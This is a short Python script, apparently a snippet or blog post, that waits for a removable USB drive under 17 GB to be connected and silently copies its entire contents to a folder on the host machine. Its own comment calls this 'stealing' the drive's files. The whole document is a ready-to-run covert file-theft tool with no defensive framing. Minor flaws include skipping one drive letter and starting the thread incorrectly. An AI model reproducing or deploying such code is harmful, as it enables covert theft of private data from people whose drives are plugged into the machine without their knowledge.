python 复制u盘内文件

import os
import time
from datetime import datetime
import shutil
import win32file

save_path = "D:/USB_disk_saved"

# 获取U盘盘符
def get_disk():
    drives = []
    sign = win32file.GetLogicalDrives()
    drive_all = ["A:/", "B:/", "C:/", "D:/", "E:/", "F:/", "G:/", "H:/", "I:/",
                 "J:/", "K:/", "L:/", "M:/", "N:/", "O:/", "P:/", "Q:/", "R:/",
                 "S:/", "T:/", "U:/", "V:/", "W:/", "X:/", "Y:/", "Z:/"]
    for i in range(25):
        if (sign&1 << i):
            if win32file.GetDriveType(drive_all[i]) == 2:
                free_bytes, total_bytes, total_free_bytes = win32file.GetDiskFreeSpaceEx(drive_all[i])
                if (total_bytes/1024/1024/1024) < 17:
                    drives.append(drive_all[i])
    if drives:
        return drives[0]
    else:
        return ""

# 窃取U盘内文件
def copy_files():

    while (True):
        usb_path = get_disk()
        if usb_path != "":
            print("开始复制!")
            shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%m%d_%H%M")))
            print("复制成功!")
            break
        else:
            time.sleep(10)

import USBOperator as uo
import threading as td

t1 = td.Thread(group=None, target=uo.copy_files())
t1.start()